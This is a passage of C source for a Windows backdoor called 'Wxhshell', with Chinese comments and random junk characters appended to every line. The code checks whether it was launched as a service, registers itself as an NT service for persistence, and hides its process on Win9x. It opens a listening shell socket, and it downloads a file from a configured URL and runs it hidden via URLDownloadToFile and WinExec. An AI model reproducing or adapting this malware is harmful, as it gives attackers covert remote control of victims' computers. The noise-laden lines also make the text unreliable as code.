DWORD PebBaseAddress; @`Dh7Q
DWORD AffinityMask; =<zlg~i
DWORD BasePriority; cWo__EE
ULONG UniqueProcessId; <]|!quY<*
ULONG InheritedFromUniqueProcessId; IjXxH]2
} PROCESS_BASIC_INFORMATION; qK~]au:C
(v:8p!QN
PROCNTQSIP NtQueryInformationProcess; b^()[4M;
Ml{4)%~Y7f
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T!pZj_ h=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "?W8o[c+
">S1,rhgS
HANDLE hProcess; i }Zz[b
PROCESS_BASIC_INFORMATION pbi; w{;~
a5d_= :S;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m5HMtoU
if(NULL == hInst ) return 0; 0;*[}M]Z
*"6A>:rQs
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ljz=u;O)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +%~me?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q./jYe
#SjCKQ~
if (!NtQueryInformationProcess) return 0; XaoVv2=G~
0m\( @2E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m6 Y0,9
if(!hProcess) return 0; 9i{(GO
[D?d~pB
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; osLEH?iKW
eu$"GbqY
CloseHandle(hProcess); fjuPGg~
3Q )"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1:./f|m
if(hProcess==NULL) return 0; "+
k}#<P4\
u09D`QPP]
HMODULE hMod; 62G%.'7
char procName[255]; AXnKhYlu
unsigned long cbNeeded; Gf9O\wrs
-$@'@U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ou]jm=4[
&Wk:>9]Jrb
CloseHandle(hProcess); :3J`+V}9;
C8}=fa3u
if(strstr(procName,"services")) return 1; // 以服务启动 RSnBG"
|<MSV KW
return 0; // 注册表启动 Q07&7SH_
} ,}NTV~
beNy5~M$
// 主模块 -&lD0p>*g
int StartWxhshell(LPSTR lpCmdLine) fm!\**Q1
{ QZuKM 'D+
SOCKET wsl; ,Kt51vG i
BOOL val=TRUE; PZI6{KOis
int port=0; cM]ZYi
struct sockaddr_in door; ZKM@U?PK
b.RFvq5Z
if(wscfg.ws_autoins) Install(); 8isQL
Fh/sD?
port=atoi(lpCmdLine); i1*0'x
Rr}m(e=
if(port<=0) port=wscfg.ws_port; l hST%3Ld
_hMFmI=r[
WSADATA data; y,bDi9*|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Od:-fw
>Bu9 D
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Eggu-i(rD
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;tF&r1
door.sin_family = AF_INET; FFN Sn
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .!Kqcz% A
door.sin_port = htons(port); `S.I,<&
rs( e
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :@eHV=|+>
closesocket(wsl); vU]n0)<KB
return 1; E31YkD.A
} E!BzE_|i
;NrPMz
if(listen(wsl,2) == INVALID_SOCKET) { Px9 K
closesocket(wsl); p\9}}t7n
return 1; &U7h9o H
} Jb^{o+s53
Wxhshell(wsl); 4nQ5zwiV
WSACleanup(); V|[NL4
e+D]9wM8
return 0; .N@+Ms3
d3S Me
} >tx[UF@P@
x5V))~Ou
// 以NT服务方式启动 Yyr9Kj:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^FkB/j
{ )rt%.`
DWORD status = 0; 5Pxx)F9]
DWORD specificError = 0xfffffff; P=6d<no&<
h/5S2EB0!O
serviceStatus.dwServiceType = SERVICE_WIN32; EtaKo}!A}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; pek=!nZ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'Cz*p,
serviceStatus.dwWin32ExitCode = 0; <lWj-+m
serviceStatus.dwServiceSpecificExitCode = 0; 0NKgtH~+
serviceStatus.dwCheckPoint = 0; 5E1`qof
serviceStatus.dwWaitHint = 0; |WEl5 bNc3
w0lgB%97p
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zy nX9t
if (hServiceStatusHandle==0) return; XWQ `]m)
-2 >s#/%
status = GetLastError(); u'Q82l&Y
if (status!=NO_ERROR) FfrC/"N
{ CCol>:8{P
serviceStatus.dwCurrentState = SERVICE_STOPPED; eEP{?F^I[
serviceStatus.dwCheckPoint = 0; QKB+mjMH#x
serviceStatus.dwWaitHint = 0; 9==4T$nM[
serviceStatus.dwWin32ExitCode = status; \w>Rmf'|
serviceStatus.dwServiceSpecificExitCode = specificError; :vzIc3~c:`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ry"4v_e9
return; b;5j awG
} WFFQxd|Z
saQs<1
serviceStatus.dwCurrentState = SERVICE_RUNNING; EU%v
|]
serviceStatus.dwCheckPoint = 0; C;K+ITlJ
serviceStatus.dwWaitHint = 0; [fV"tf;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =~Qg(=U0U
} OuEcoI K
REE.8_
// 处理NT服务事件,比如:启动、停止 /|i*'6*
VOID WINAPI NTServiceHandler(DWORD fdwControl) .5o~^
{ PpBptsb^|J
switch(fdwControl) {FKr^)g
{ #jG?{j3;?
case SERVICE_CONTROL_STOP: ".$kOH_:
serviceStatus.dwWin32ExitCode = 0; 6SH0
y
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z_xQ2uH$:
serviceStatus.dwCheckPoint = 0; 1zH?.-
serviceStatus.dwWaitHint = 0; g3&nxZ
{ a^@.C5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rTR"\u7&H
} buN@O7\
return; SO(BkxV@
case SERVICE_CONTROL_PAUSE: w9VwZow
serviceStatus.dwCurrentState = SERVICE_PAUSED; S`zu.8%5
break; [J}eNprg
case SERVICE_CONTROL_CONTINUE: 8tQL$CbO
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y
z&!0Hfd
break; D6Aa5&rO+
case SERVICE_CONTROL_INTERROGATE: oxN5:)
break; Xm>zT'B_tJ
}; _.V5-iN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f7\X3v2W}3
} 6',Hs
'G>XI;g
// 标准应用程序主函数 G"J
nQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -sKtT 9o
{ Gt*K:KT=L
v+ in:\Dv
// 获取操作系统版本 3mAiz q3
OsIsNt=GetOsVer(); XWS]4MB+vm
GetModuleFileName(NULL,ExeFile,MAX_PATH); 76@W:L*J$J
wzju)q S
// 从命令行安装 MJ?t{=
if(strpbrk(lpCmdLine,"iI")) Install(); S%}G 8Ty
&T0]tzk*,
// 下载执行文件 ~nmFZ]y
if(wscfg.ws_downexe) { ?rQ .nN
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9]l I?j]o
WinExec(wscfg.ws_filenam,SW_HIDE); ZM -P
} / kK*%TP
x
cAs}y}
if(!OsIsNt) { [niFJIsc
// 如果时win9x,隐藏进程并且设置为注册表启动 WXmfh
HideProc(); o
[V8h@K)
StartWxhshell(lpCmdLine); TY %zw6 #p
} iv +a5
else 8b]4uI<
if(StartFromService()) o^X3YaS)
// 以服务方式启动 EniV-Uj\D
StartServiceCtrlDispatcher(DispatchTable); 7<e}5nA/
else }M% 3
// 普通方式启动 "%D"h
StartWxhshell(lpCmdLine); 96~y\X@x
0*5Jq#5
return 0; NN'pBUR
}